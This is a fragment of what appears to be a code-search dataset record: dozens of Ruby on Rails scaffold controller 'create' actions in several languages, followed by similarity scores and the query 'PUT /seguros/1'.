Soiree.new(soiree_params)\n\n respond_to do |format|\n if @soiree.save\n format.html { redirect_to @soiree, notice: 'Votre évènement a bien été créé.' }\n format.json { render :show, status: :created, location: @soiree }\n else\n format.html { render :new }\n format.json { render json: @soiree.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @solicitud_servicio = SolicitudServicio.new(params[:solicitud_servicio])\n\n respond_to do |format|\n if @solicitud_servicio.save\n format.html { redirect_to @solicitud_servicio, notice: 'Solicitud servicio was successfully created.' }\n format.json { render json: @solicitud_servicio, status: :created, location: @solicitud_servicio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @solicitud_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sesiune = Sesiune.new(sesiune_params)\n\n respond_to do |format|\n if @sesiune.save\n\n # duplic temele si domeniile din ultima sesiune si le adaug in baza de date cu sesiune_id asta pe care tocmai am creat-o\n @ultima_sesiune = Sesiune.where(este_deschisa: false).last\n Domeniu.where(sesiune_id: @ultima_sesiune.id).each do |dom|\n nou_dom = Domeniu.create(nume: dom.nume, descriere: dom.descriere, user_id: dom.user_id, sesiune_id: @sesiune.id)\n Tema.where(sesiune_id: @ultima_sesiune.id).where(domeniu_id: dom.id).each do |tema|\n Tema.create(nume: tema.nume, descriere: tema.descriere, domeniu_id: nou_dom.id, este_libera: true, user_id: tema.user_id, sesiune_id: @sesiune.id)\n # ce faci dc user_id-ul temei este un student care a terminat? si th i se desfiinteaza contul?\n end\n end\n\n format.html { redirect_to controlPanel_path, notice: 'Sesiune was successfully created.' }\n format.json { render action: 'show', status: :created, location: @sesiune }\n else\n format.html { render action: 'new' }\n format.json { render json: controlPanel_path.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sessao = Sessao.new(sessao_params)\n\n respond_to do |format|\n if @sessao.save\n format.html { redirect_to @sessao, notice: 'Sessao was successfully created.' }\n format.json { render :show, status: :created, location: @sessao }\n else\n format.html { render :new }\n format.json { render json: @sessao.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @estatuto = Estatuto.new(params[:estatuto])\n\n respond_to do |format|\n if @estatuto.save\n format.html { redirect_to @estatuto, notice: 'Estatuto was successfully created.' }\n format.json { render json: @estatuto, status: :created, location: @estatuto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @estatuto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @usuario_seguidor = UsuarioSeguidor.new(usuario_seguidor_params)\n\n respond_to do |format|\n if @usuario_seguidor.save\n format.html { redirect_to @usuario_seguidor, notice: 'Usuario seguidor was successfully created.' }\n format.json { render :show, status: :created, location: @usuario_seguidor }\n else\n format.html { render :new }\n format.json { render json: @usuario_seguidor.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @solicitador = Solicitador.new(solicitador_params)\n\n respond_to do |format|\n if @solicitador.save\n format.html { redirect_to @solicitador, notice: 'Solicitador was successfully created.' }\n format.json { render :show, status: :created, location: @solicitador }\n else\n format.html { render :new }\n format.json { render json: @solicitador.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n puts request.body.string\n\n if request.body.string.include? %q[\"id\"]\n render json: %q[{\"error\": \"No se puede crear usuario con id\"}], status: 400\n else\n @usuario = Usuario.new(usuario_params)\n #Tuve que hacerlo asi, pq por alguna razon no me dejaba de la forma tradicional!\n #@usuario = Usuario.new\n #@usuario.usuario = params[:usuario]\n #@usuario.nombre = params[:nombre]\n #@usuario.apellido = params[:apellido]\n #@usuario.twitter = params[:twitter]\n\n\n respond_to do |format|\n if @usuario.save\n #format.html { redirect_to @usuario, notice: 'Usuario was successfully created.' }\n format.json { render :show, status: :created, location: @usuario }\n else\n #format.html { render :new }\n format.json { render json: @usuario.errors, status: 404}# status: :unprocessable_entity }\n end\n end\n end\n end", "def create\n @veiculo = Veiculo.new(params[:veiculo])\n\n respond_to do |format|\n if @veiculo.save\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully created.' }\n format.json { render :json => @veiculo, :status => :created, :location => @veiculo }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @seguro = Seguro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @seguro }\n end\n end", "def create\n @suceso_perro = SucesoPerro.new(suceso_perro_params)\n\n respond_to do |format|\n if @suceso_perro.save\n format.html { redirect_to @suceso_perro, notice: 'Suceso perro was successfully created.' }\n format.json { render :show, status: :created, location: @suceso_perro }\n else\n format.html { render :new }\n format.json { render json: @suceso_perro.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sabio = Sabio.new(params[:sabio])\n\n respond_to do |format|\n if @sabio.save\n format.html { redirect_to @sabio, notice: 'El Sabio a sido creado exitosamente.' }\n format.json { render json: @sabio, status: :created, location: @sabio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sabio.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n respond_to do |format|\n if @especialidad.save\n format.html { redirect_to @especialidad, notice: 'Servicio creado exitosamente.' }\n format.json { render :show, status: :created, location: @especialidad }\n else\n format.html { render :new }\n format.json { render json: @especialidad.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n respond_to do |format|\n if @respuesta.save\n format.html { redirect_to @respuesta, notice: 'Respuesta was successfully created.' }\n format.json { render json: @respuesta, status: :created, location: @respuesta }\n else\n format.html { render action: \"new\" }\n format.json { render json: @respuesta.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n pessoa = Pessoa.new(pessoa_params) \n \n if pessoa.save\n render json: {status: 'SUCCESSO', message:'Usuário cadastrado com sucesso!', data:pessoa},status: :ok\n else\n render json: {status: 'ERRO', message:'Usuário não pode ser cadastrado. Tente novamente mais tarde.', data:pessoa.errors},status: :unprocessable_entity\n end\n end", "def create\n @sitio_entrega = SitioEntrega.new(params[:sitio_entrega])\n\n respond_to do |format|\n if @sitio_entrega.save\n format.html { redirect_to @sitio_entrega, notice: 'Sitio entrega was successfully created.' }\n format.json { render json: @sitio_entrega, status: :created, location: @sitio_entrega }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sitio_entrega.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sotrudniki = Sotrudniki.new(params[:sotrudniki])\n\n respond_to do |format|\n if @sotrudniki.save\n format.html { redirect_to @sotrudniki, notice: 'Sotrudniki was successfully created.' }\n format.json { render json: @sotrudniki, status: :created, location: @sotrudniki }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sotrudniki.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n client = Cliente.new\n\n client.nombre = params[:nombre]\n client.cedula = params[:cedula]\n client.pagina = params[:pagina]\n\n client.dirrecion = params[:dirrecion]\n client.telefono = params[:telefono]\n \n client.sector = params[:sector]\n \n\n if client.save\n \n\n render(json: client,status: 201 ,location: client)\n else\n\n render(json: client.errors,status: 422 )\n\n end\n end", "def creacion\n fiesta = Fiesta.new (params[:id])\n if Fiesta.save\n puts \"su fiesta a sido registrada\"\n else \n puts \"su fiesta no a sido registrada\"\n end\n render = json: fiesta \n end", "def create\n @solicitacao = Solicitacao.new(solicitacao_params)\n\n respond_to do |format|\n if @solicitacao.save\n format.html { redirect_to @solicitacao, notice: 'Solicitacao was successfully created.' }\n format.json { render :show, status: :created, location: @solicitacao }\n else\n format.html { render :new }\n format.json { render json: @solicitacao.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @asiento = Asiento.new(params[:asiento])\n\n respond_to do |format|\n if @asiento.save\n format.html { redirect_to @asiento, :notice => 'El apunte fue creado.' }\n format.json { render :json => @asiento, :status => :created, :location => @asiento }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @asiento.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @osoba = Osoba.new(params[:osoba])\n\n if @osoba.save\n render json: @osoba, status: :created, location: @osoba\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end", "def create\n @soiree = Soiree.new(params[:soiree])\n\n respond_to do |format|\n if @soiree.save\n format.html { redirect_to @soiree, notice: 'Soiree was successfully created.' }\n format.json { render json: @soiree, status: :created, location: @soiree }\n else\n format.html { render action: \"new\" }\n format.json { render json: @soiree.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sejour = current_user.sejours.build(sejour_params)\n\n respond_to do |format|\n if @sejour.save\n format.html { redirect_to @sejour, notice: 'Le sejour a bien ete cree.' }\n format.json { render :show, status: :created, location: @sejour }\n else\n format.html { render :new }\n format.json { render json: @sejour.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @suplente = Suplente.new(params[:suplente])\n\n respond_to do |format|\n if @suplente.save\n format.html { redirect_to @suplente, notice: 'Lista acuerdo was successfully created.' }\n format.json { render json: @suplente, status: :created, location: @suplente }\n else\n format.html { render action: \"new\" }\n format.json { render json: @suplente.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n seleccionarMenu(:juzgados)\n @juzgado = Juzgado.new(params[:juzgado])\n\n respond_to do |format|\n if @juzgado.save\n format.html { redirect_to @juzgado, notice: 'Juzgado fue creado satisfactoriamente.' }\n format.json { render json: @juzgado, status: :created, location: @juzgado }\n else\n format.html { render action: \"new\" }\n format.json { render json: @juzgado.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sumario = Sumario.new(sumario_params)\n\n respond_to do |format|\n if @sumario.save\n format.html { redirect_to @sumario, notice: 'Sumario was successfully created.' }\n format.json { render :show, status: :created, location: @sumario }\n else\n format.html { render :new }\n format.json { render json: @sumario.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movimentacao_de_estoque = MovimentacaoDeEstoque.new(params[:movimentacao_de_estoque])\n\n respond_to do |format|\n if @movimentacao_de_estoque.save\n format.html { redirect_to @movimentacao_de_estoque, notice: 'Movimentacao de estoque was successfully created.' }\n format.json { render json: @movimentacao_de_estoque, status: :created, location: @movimentacao_de_estoque }\n else\n format.html { render action: \"new\" }\n format.json { render json: @movimentacao_de_estoque.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sindicato = Sindicato.new(sindicato_params)\n\n respond_to do |format|\n if @sindicato.save\n format.html { redirect_to @sindicato, notice: 'Sindicato fue creado exitosamente.' }\n format.json { render :show, status: :created, location: @sindicato }\n else\n format.html { render :new }\n format.json { render json: @sindicato.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @socio_serasa = SocioSerasa.new(socio_serasa_params)\n\n respond_to do |format|\n if @socio_serasa.save\n format.html { redirect_to @socio_serasa, notice: 'Socio serasa was successfully created.' }\n format.json { render action: 'show', status: :created, location: @socio_serasa }\n else\n format.html { render action: 'new' }\n format.json { render json: @socio_serasa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @substancia = Substancia.new(substancia_params)\n\n respond_to do |format|\n if @substancia.save\n format.html { redirect_to @substancia, notice: 'Substancia was successfully created.' }\n format.json { render :show, status: :created, location: @substancia }\n else\n format.html { render :new }\n format.json { render json: @substancia.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movimentode_estoque = MovimentodeEstoque.new(movimentode_estoque_params)\n\n respond_to do |format|\n if @movimentode_estoque.save\n format.html { redirect_to @movimentode_estoque, notice: 'Movimentode estoque was successfully created.' }\n format.json { render :show, status: :created, location: @movimentode_estoque }\n else\n format.html { render :new }\n format.json { render json: @movimentode_estoque.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sucursale = Sucursale.new(sucursale_params)\n @sucursale.usuarios_id = current_usuario.id\n respond_to do |format|\n if @sucursale.save\n format.html { redirect_to @sucursale, notice: 'Sucursal creada con exito!' }\n format.json { render :show, status: :created, location: @sucursale }\n else\n format.html { render :new }\n format.json { render json: @sucursale.errors, status: :unprocessable_entity }\n end\n end\n end", "def troca\n @remetente = Sobrevivente.where(id: params[:de]).first\n @destinatario = Sobrevivente.where(id: params[:para]).first\n\n enviar = {agua: 1, comida: 2, medicamento: 3, municao: 4}\n receber = {agua: 0, comida: 2, medicamento: 3, municao: 8}\n\n trocou = @remetente.troca(@destinatario, enviar, receber)\n\n render json: { status: trocou }\n end", "def create\n @sugestao = Sugestao.new(sugestao_params)\n\n respond_to do |format|\n if @sugestao.save\n format.html { redirect_to @sugestao, notice: 'Sugestão salva com sucesso.' }\n format.json { render :show, status: :created, location: @sugestao }\n else\n format.html { render :new }\n format.json { render json: @sugestao.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sessao = Sessao.new(sessao_params)\n psicologos_for_select\n pacientes_for_select\n respond_to do |format|\n @sessao.user = current_user\n if @sessao.save\n format.html { redirect_to @sessao, notice: \"Sessao was successfully created.\" }\n format.json { render :show, status: :created, location: @sessao }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @sessao.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @traslado = Traslado.new(traslado_params)\n\n respond_to do |format|\n if @traslado.save\n format.html { redirect_to @traslado, notice: 'Traslado was successfully created.' }\n format.json { render :show, status: :created, location: @traslado }\n else\n format.html { render :new }\n format.json { render json: @traslado.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params.permit(:intitule, :estObligatoire, :nombreDeCaractere, :ordre, :sondage_id)\n ajout = QuestionOuverteService.instance.creerQuestionOuverte(params[:intitule], params[:estObligatoire], params[:nombreDeCaractere], params[:ordre], params[:sondage_id])\n (ajout != nil) ? (render json: ajout, status: :ok) : (render json: nil, status: :not_found)\n end", "def create\n @escola = Escola.new(params[:escola])\n\n respond_to do |format|\n if @escola.save\n format.html { redirect_to @escola, :notice => 'Escola was successfully created.' }\n format.json { render :json => @escola, :status => :created, :location => @escola }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @escola.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @tipo_pregunta = TipoPregunta.new(params[:tipo_pregunta])\n\n if @tipo_pregunta.save\n render json: @tipo_pregunta, status: :created, location: @tipo_pregunta\n else\n render json: @tipo_pregunta.errors, status: :unprocessable_entity\n end\n end", "def create\n params.permit(:intituleSondage, :descriptionSondage, :categorie_id, :administrateur_id)\n ajout = SondageService.instance.creerNouveauSondage(params[:intituleSondage], params[:descriptionSondage], params[:categorie_id], params[:administrateur_id])\n (ajout != nil) ? (render json: ajout, status: :ok) : (render json: nil, status: :not_found)\nend", "def create\n @serie_detalle = SerieDetalle.new(serie_detalle_params)\n\n respond_to do |format|\n if @serie_detalle.save\n format.html { redirect_to @serie_detalle, notice: 'Serie detalle was successfully created.' }\n format.json { render :show, status: :created, location: @serie_detalle }\n else\n format.html { render :new }\n format.json { render json: @serie_detalle.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @safra_averiado = SafraAveriado.new(params[:safra_averiado])\n\n respond_to do |format|\n if @safra_averiado.save\n format.html { redirect_to @safra_averiado, notice: 'Safra averiado was successfully created.' }\n format.json { render json: @safra_averiado, status: :created, location: @safra_averiado }\n else\n format.html { render action: \"new\" }\n format.json { render json: @safra_averiado.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @seguridad_usuario = Seguridad::Usuario.new(params[:seguridad_usuario])\n\n respond_to do |format|\n if @seguridad_usuario.save\n format.html { redirect_to edit_seguridad_usuario_path(@seguridad_usuario), notice: 'Guardado Correctamente.' }\n format.json { render json: @seguridad_usuario, status: :created, location: @seguridad_usuario }\n else\n format.html { render action: \"new\" }\n format.json { render json: @seguridad_usuario.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @spice = Spice.new(spice_params)\n\n if @spice.save\n render json: @spice, status: :created\n else\n render json: @spice.errors, status: :unprocessable_entity\n end\n end", "def create\n @saida_produto = SaidaProduto.new(saida_produto_params)\n\n respond_to do |format|\n if @saida_produto.save\n format.html { redirect_to @saida_produto, notice: 'Saida produto was successfully created.' }\n format.json { render :show, status: :created, location: @saida_produto }\n else\n format.html { render :new }\n format.json { render json: @saida_produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @stone = Stone.new(stone_params)\n\n \n if @stone.save\n respond_with @stone\n else\n render json: @stone.errors, status: :unprocessable_entity \n end\n \n \n end", "def create\n client= Client.new\n client.cedula= params[:cedula]\n client.sector= params[:sector]\n client.nombre= params[:nombre]\n client.telefono= params[:telefono]\n client.pagina= params[:pagina]\n client.direccion= params[:direccion]\n if client.save\n render(json: client, status: 201 , location: client)\n else \n render(json: client.errors, status: 422)\n end\n end", "def create\r\n @sivic_rede = SivicRede.new(sivic_rede_params)\r\n\r\n respond_to do |format|\r\n if @sivic_rede.save\r\n format.html { redirect_to @sivic_rede, notice: 'Rede inserida com sucesso.' }\r\n format.json { render action: 'show', status: :created, location: @sivic_rede }\r\n else\r\n format.html { render action: 'new' }\r\n format.json { render json: @sivic_rede.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @sistema = Sistema.new(params[:sistema])\n\n respond_to do |format|\n if @sistema.save\n format.html { redirect_to @sistema, notice: 'Sistema was successfully created.' }\n format.json { render json: @sistema, status: :created, location: @sistema }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sistema.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @Empresa = Empresa.find(params[:empresa_id])\n p simulacion_params[:id]\n if simulacion_params[:id]!=nil\n respond_to do |format| \n format.html { render json: 1 and return}\n end\n end\n [email protected](simulacion_params)\n respond_to do |format|\n if simulacion.save\n format.html { render json: {simulacion:simulacion}}\n else\n format.html { render action: simulacion.errors }\n end\n end\n end", "def create\n @tecnico = Tecnico.new(params[:tecnico])\n\n respond_to do |format|\n if @tecnico.save\n format.html { redirect_to @tecnico, :notice => 'Tecnico was successfully created.' }\n format.json { render :json => @tecnico, :status => :created, :location => @tecnico }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @tecnico.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\r\n @sivic_celula = SivicCelula.new(sivic_celula_params)\r\n\r\n respond_to do |format|\r\n if @sivic_celula.save\r\n format.html { redirect_to @sivic_celula, notice: 'Registro inserido com sucesso.' }\r\n format.json { render action: 'show', status: :created, location: @sivic_celula }\r\n else\r\n format.html { render action: 'new' }\r\n format.json { render json: @sivic_celula.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @seihinn = Seihinn.new(seihinn_params)\n\n respond_to do |format|\n if @seihinn.save\n format.html { redirect_to @seihinn, notice: \"Seihinn was successfully created.\" }\n format.json { render :show, status: :created, location: @seihinn }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @seihinn.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @souscripteur = Souscripteur.new(souscripteur_params)\n\n respond_to do |format|\n if @souscripteur.save\n format.html { redirect_to @souscripteur, notice: 'Souscripteur was successfully created.' }\n format.json { render :show, status: :created, location: @souscripteur }\n else\n format.html { render :new }\n format.json { render json: @souscripteur.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @souvenior = Souvenior.new(souvenior_params)\n\n respond_to do |format|\n if @souvenior.save\n format.html { redirect_to root_path, notice: 'Souvenior was successfully created.' }\n format.json { render :show, status: :created, location: @souvenior }\n else\n format.html { render :new }\n format.json { render json: @souvenior.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @asiento_de_servicio = AsientoDeServicio.new(asiento_de_servicio_params)\n\n respond_to do |format|\n if @asiento_de_servicio.save\n format.html { redirect_to @asiento_de_servicio, notice: 'Asiento de servicio was successfully created.' }\n format.json { render :show, status: :created, location: @asiento_de_servicio }\n else\n format.html { render :new }\n format.json { render json: @asiento_de_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n\r\n respond_to do |format|\r\n if @sistemas_consejero.save\r\n format.html { redirect_to @sistemas_consejero, notice: 'Se añadió un nombre de consejero de ingeniería de sistemas correctamente.' }\r\n format.json { render :show, status: :created, location: @sistemas_consejero }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @sistemas_consejero.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @estoque = Estoque.new(params[:estoque])\n\n respond_to do |format|\n if @estoque.save\n format.html { redirect_to @estoque, notice: 'Estoque was successfully created.' }\n format.json { render json: @estoque, status: :created, location: @estoque }\n else\n format.html { render action: \"new\" }\n format.json { render json: @estoque.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @spiel = Spiel.new(params[:spiel])\n\n respond_to do |format|\n if @spiel.save\n format.html { redirect_to @spiel, notice: 'Spiel was successfully created.' }\n format.json { render json: @spiel, status: :created, location: @spiel }\n else\n format.html { render action: \"new\" }\n format.json { render json: @spiel.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @processo_seletivo = ProcessoSeletivo.new(processo_seletivo_params)\n\n respond_to do |format|\n if @processo_seletivo.save\n format.html { redirect_to @processo_seletivo, notice: 'Processo seletivo was successfully created.' }\n format.json { render :show, status: :created, location: @processo_seletivo }\n else\n format.html { render :new }\n format.json { render json: @processo_seletivo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sousgroupe = Sousgroupe.new(sousgroupe_params)\n\n respond_to do |format|\n if @sousgroupe.save\n format.html { redirect_to @sousgroupe, notice: 'Sousgroupe was successfully created.' }\n format.json { render :show, status: :created, location: @sousgroupe }\n else\n format.html { render :new }\n format.json { render json: @sousgroupe.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ginasio = Ginasio.new(params[:ginasio])\n\n respond_to do |format|\n if @ginasio.save\n format.html { redirect_to @ginasio, :flash => { :success => 'Ginasio criado com sucesso!' } }\n format.json { render :json => @ginasio, :status => :created, :location => @ginasio }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @ginasio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @saida = Saida.new(saida_params)\n\n respond_to do |format|\n if @saida.save\n format.html { redirect_to @saida, notice: 'Saida foi criado com sucesso.' }\n format.json { render :show, status: :created, location: @saida }\n else\n format.html { render :new }\n format.json { render json: @saida.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @establecimiento = Establecimiento.new(establecimiento_params)\n\n respond_to do |format|\n if @establecimiento.save\n format.html { redirect_to @establecimiento, notice: 'Establecimiento was successfully created.' }\n format.json { render :show, status: :created, location: @establecimiento }\n else\n format.html { render :new }\n format.json { render json: @establecimiento.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @saida = Saida.new(saida_params)\n\n respond_to do |format|\n if @saida.save\n format.html { redirect_to @saida, notice: 'Saida was successfully created.' }\n format.json { render :show, status: :created, location: @saida }\n else\n format.html { render :new }\n format.json { render json: @saida.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @inventario_cosa = InventarioCosa.new(inventario_cosa_params)\n\n respond_to do |format|\n if @inventario_cosa.save\n format.html { redirect_to @inventario_cosa, notice: 'Inventario cosa was successfully created.' }\n format.json { render :show, status: :created, location: @inventario_cosa }\n else\n format.html { render :new }\n format.json { render json: @inventario_cosa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @quinto = Quinto.new(quinto_params)\n \n @quinto.anio = params[:anio]\n @quinto.mes = params[:mes]\n \n \n respond_to do |format|\n if @quinto.save\n format.html { redirect_to @quinto, notice: 'Quinto was successfully created.' }\n format.json { render :show, status: :created, location: @quinto }\n else\n format.html { render :new }\n format.json { render json: @quinto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @sivic_pessoa = SivicPessoa.new(sivic_pessoa_params)\r\n\r\n respond_to do |format|\r\n if @sivic_pessoa.save\r\n format.html { redirect_to @sivic_pessoa, notice: 'Registro inserido com sucesso.' }\r\n format.json { render action: 'show', status: :created, location: @sivic_pessoa }\r\n else\r\n format.html { render action: 'new' }\r\n format.json { render json: @sivic_pessoa.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @datos_estudiante = DatosEstudiante.new(datos_estudiante_params)\n\n respond_to do |format|\n if @datos_estudiante.save\n format.html { redirect_to @datos_estudiante, notice: 'Datos estudiante was successfully created.' }\n format.json { render :show, status: :created, location: @datos_estudiante }\n else\n format.html { render :new }\n format.json { render json: @datos_estudiante.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @registro = Registro.new(registro_params)\n\n respond_to do |format|\n if @registro.save\n format.html { redirect_to '/' }\n format.json { render :show, status: :created, location: @registro }\n else\n format.html { render :new }\n format.json { render json: @registro.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @solicitud_horario = SolicitudHorario.new(solicitud_horario_params)\n\n respond_to do |format|\n if @solicitud_horario.save\n format.html { redirect_to @solicitud_horario, notice: 'Solicitud horario was successfully created.' }\n format.json { render :show, status: :created, location: @solicitud_horario }\n else\n format.html { render :new }\n format.json { render json: @solicitud_horario.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @servidor = Servidor.new(servidor_params)\n\n respond_to do |format|\n if @servidor.save\n format.html { redirect_to servidores_path, success: 'Servidor cadastrado com sucesso.' }\n format.json { render :show, status: :created, location: @servidor }\n else\n format.html { render :new }\n format.json { render json: @servidor.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n puts 'AQQQQQUUUUUUUIIIIII'\n json = ActiveSupport::JSON.decode(params[:pessoa])\n puts json\n @pessoa = Pessoa.new(json)\n # @address = Address.new(params[:address])\n\n # @client.addresses = @address\n\n respond_to do |format|\n if @pessoa.save\n format.html { redirect_to @pessoa, notice: 'Pessoa was successfully created.' }\n format.json { render json: @pessoa, status: :created, location: @pessoa }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pessoa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @usuario = Usuario.new(usuario_params)\n\n if @usuario.save\n render json: @usuario, status: :created, location: @usuario\n else\n render json: @usuario.errors, status: :unprocessable_entity\n end\n end", "def create\n @prueba_json = PruebaJson.new(prueba_json_params)\n\n respond_to do |format|\n if @prueba_json.save\n format.html { redirect_to @prueba_json, notice: 'Prueba json was successfully created.' }\n format.json { render action: 'show', status: :created, location: @prueba_json }\n else\n format.html { render action: 'new' }\n format.json { render json: @prueba_json.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @respuesta = Respuesta.new(respuesta_params)\n\n respond_to do |format|\n if @respuesta.save\n format.html { redirect_to @respuesta, notice: 'Respuesta was successfully created.' }\n format.json { render :show, status: :created, location: api_v1_respuesta_url(@respuesta) }\n else\n format.html { render :new }\n format.json { render json: @respuesta.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sinh_vien = SinhVien.new(params[:sinh_vien])\n\n respond_to do |format|\n if @sinh_vien.save \n format.json { render json: @sinh_vien, status: :created, location: @sinh_vien }\n else \n format.json { render json: @sinh_vien.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movimento_de_estoque = MovimentoDeEstoque.new(movimento_de_estoque_params)\n\n respond_to do |format|\n if @movimento_de_estoque.save\n format.html { redirect_to @movimento_de_estoque, notice: 'Movimento de estoque was successfully created.' }\n format.json { render :show, status: :created, location: @movimento_de_estoque }\n else\n format.html { render :new }\n format.json { render json: @movimento_de_estoque.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tecnico = Tecnico.new(params[:tecnico])\n\n respond_to do |format|\n if @tecnico.save\n format.html { redirect_to @tecnico, notice: 'Tecnico criado com sucesso.' }\n format.json { render json: @tecnico, status: :created, location: @tecnico }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tecnico.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @situacao_reserva = SituacaoReserva.new(situacao_reserva_params)\n @situacao_reservas = SituacaoReserva.all.paginate(page: params[:page], per_page: 5)\n @action = { title: \"Nova\", button: \"Salvar\"}\n\n respond_to do |format|\n if @situacao_reserva.save\n format.html { redirect_to action: \"new\", notice: 'Situação reserva criada com sucesso..' }\n format.json { render :show, status: :created, location: @situacao_reserva }\n else\n format.html { render :new }\n format.json { render json: @situacao_reserva.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @giro_comercial = GiroComercial.new(giro_comercial_params)\n\n respond_to do |format|\n if @giro_comercial.save\n format.html { redirect_to @giro_comercial, notice: 'Giro comercial fue exitosamente creado.' }\n format.json { render :show, status: :created, location: @giro_comercial }\n else\n format.html { render :new }\n format.json { render json: @giro_comercial.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6907571", "0.66096765", "0.66093427", "0.6555054", "0.65544385", "0.65336233", "0.6431165", "0.6415831", "0.6400106", "0.6366946", "0.63569754", "0.6349831", "0.63184977", "0.6310014", "0.62842363", "0.62719035", "0.62604225", "0.62593764", "0.625265", "0.6249943", "0.6248437", "0.62352246", "0.62346756", "0.619776", "0.6196893", "0.61879617", "0.6179111", "0.61730254", "0.617253", "0.61675805", "0.6166342", "0.61638564", "0.61530656", "0.61490387", "0.61438096", "0.61322516", "0.6130869", "0.6123206", "0.6116831", "0.61138827", "0.6113539", "0.6104542", "0.61039346", "0.609739", "0.6087949", "0.60871404", "0.60700244", "0.6069839", "0.60669243", "0.6066291", "0.6053873", "0.605185", "0.60495204", "0.60484856", "0.60340726", "0.6013714", "0.60079056", "0.60020727", "0.59998953", "0.5998803", "0.59961545", "0.5991126", "0.5990608", "0.59891164", "0.5984915", "0.5984589", "0.59809685", "0.59789354", "0.59789217", "0.597835", "0.59751815", "0.59741485", "0.5973933", "0.59729683", "0.5971977", "0.597134", "0.59713143", "0.5966739", "0.5965233", "0.5963764", "0.5961788", "0.59616894", "0.5954706", "0.5953431", "0.5950932", "0.5943592", "0.59351075", "0.59331405", "0.593247", "0.5931285", "0.59288466", "0.5928101", "0.5927826", "0.5924704", "0.59238595", "0.5919079", "0.5916064", "0.59076846", "0.5904467", "0.59040004" ]
0.71458614
0
PUT /seguros/1 PUT /seguros/1.json
